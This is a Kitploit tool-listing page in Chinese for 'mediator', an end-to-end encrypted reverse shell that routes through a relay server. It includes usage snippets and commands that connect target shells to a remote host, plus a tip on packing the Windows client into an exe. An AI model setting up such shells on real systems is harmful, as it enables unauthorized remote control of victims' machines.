Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
mediator — 一个可扩展的、端到端加密的反向Shell,无需端口转发即可跨网络工作。 | Kitploit
工具/GitHubGitHub/lawndoc/mediator
加密/解密工具逆向工程渗透测试命令与控制实用工具与框架红队事件响应远程访问工具
GitHublawndoc/mediator

mediator

一个可扩展的、端到端加密的反向Shell,无需端口转发即可跨网络工作。

查看仓库
10013602年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Mediator 标志

Mediator 是一个端到端加密的反向 shell,操作员和 shell 连接到一个"中介"服务器,该服务器桥接连接。这消除了操作员/处理程序设置端口转发以监听连接的需要。Mediator 还允许您创建插件来扩展反向 shell 的功能。

您可以将 Mediator 的脚本作为独立可执行文件运行,也可以导入它们以集成到其他渗透测试和事件响应工具中。

架构:

受端到端加密聊天应用的启发,Mediator 对反向 shell 的客户端/服务器模型采用了独特的方法。Mediator 使用:

  1. 客户端反向 shell
  2. 客户端处理程序/操作员
  3. 一个桥接这两个连接的服务器

反向 shell 和处理程序通过连接密钥连接到 Mediator 服务器。服务器在端口 80 上监听处理程序连接,在端口 443 上监听反向 shell 连接。当客户端连接到中介时,服务器根据其各自的类型和连接密钥对客户端进行排队。当反向 shell 和操作员使用相同的密钥连接到服务器时,服务器将桥接这两个连接。然后,两个客户端之间进行密钥交换,反向 shell 和操作员之间的所有通信都是端到端加密的。这确保了服务器无法窥探它正在转发的流。

插件

插件允许您添加额外的命令,这些命令可以在操作员主机、目标主机或两者上执行代码!有关插件的更多信息,请参阅插件目录中的 README。

指令:

服务器

客户端脚本可以在 Windows 或 Linux 上运行,但您需要在 Linux 主机上启动服务器(mediator.py)。该服务器是纯 Python 编写的,因此无需安装依赖。您可以通过以下方式运行服务器脚本:

$ python3 mediator.py

或者您可以使用提供的 Dockerfile 构建 Docker 镜像并在容器中运行(确保发布端口 80 和 443)。

客户端

您需要安装 requirements.txt 中的依赖才能使客户端工作。您可以使用以下命令安装:

$ pip3 install -r requirements.txt

请参阅底部的提示和提醒以获取有关分发客户端而无需担心依赖的帮助。

处理程序和反向 shell 可以在其他 Python 脚本中使用,或直接通过命令行使用。在这两种情况下,客户端都可以接受服务器地址和连接密钥的参数。这些参数的使用方法如下所述。

Mediator 服务器地址

对于Python 脚本用法,在实例化时需要提供中介主机的地址:

Handler 类

from handler import Handler

operator = Handler(mediatorHost="example.com")
operator.run()

WindowsRShell 类

from windowsTarget import WindowsRShell

shell = WindowsRShell(mediatorHost="example.com")
shell.run()

如果直接从 shell执行客户端脚本,您可以硬编码地址到脚本底部,或者通过 -s 或 --server 标志指定服务器地址:

handler.py

$ python3 handler.py -s example.com
  • windowsTarget.py*
> python windowsTarget.py -s example.com

连接密钥

当两个处理程序或两个反向 shell 使用相同的连接密钥连接到中介服务器时,只有第一个连接会被排队等待匹配。直到排队的连接超时(30秒)或与对应连接匹配之前,所有其他尝试使用相同连接密钥连接的同类客户端都将被丢弃。

确保每个处理程序使用唯一的连接密钥非常重要,以避免出现竞态条件导致错误的 shell 被分配给操作员。

只有前缀为 "#!ConnectionKey_" 的密钥才会被服务器接受。默认连接密钥是 "#!ConnectionKey_CHANGE_ME!!!"。

对于Python 脚本用法,可以在实例化时选择提供连接密钥:

Handler 类

from handler import Handler

operator = Handler(mediatorHost="example.com", connectionKey="#!ConnectionKey_secret_key")
operator.run()

LinuxRShell 类

from linuxTarget import LinuxRShell

shell = LinuxRShell(mediatorHost="example.com", connectionKey="#!ConnectionKey_secret_key")
shell.run()

如果直接从 shell执行客户端脚本,您可以硬编码连接密钥到脚本底部,或者通过 -c 或 --connection-key 标志指定连接密钥:

handler.py

$ python3 handler.py -s example.com -c '#!ConnectionKey_secret_key'

windowsTarget.py

> python windowsTarget.py -s example.com -c '#!ConnectionKey_secret_key'

提示和提醒:

  • 提醒:处理程序和反向 shell 不会桥接在一起,除非它们在 30 秒内使用相同的连接密钥连接到中介服务器。
  • 提示:您可以使用 pyinstaller 的 --onefile 标志轻松为 windowsTarget.py 创建 exe 文件。
  • 提示:出于安全考虑,您应该为每个会话使用随机生成的连接密钥。如果恶意方获悉了您的连接密钥并用它向操作员端口发送大量连接,您的操作员客户端将因为服务器不允许重复连接而无法连接,并且他们将会连接到您的目标 shell。
下载工具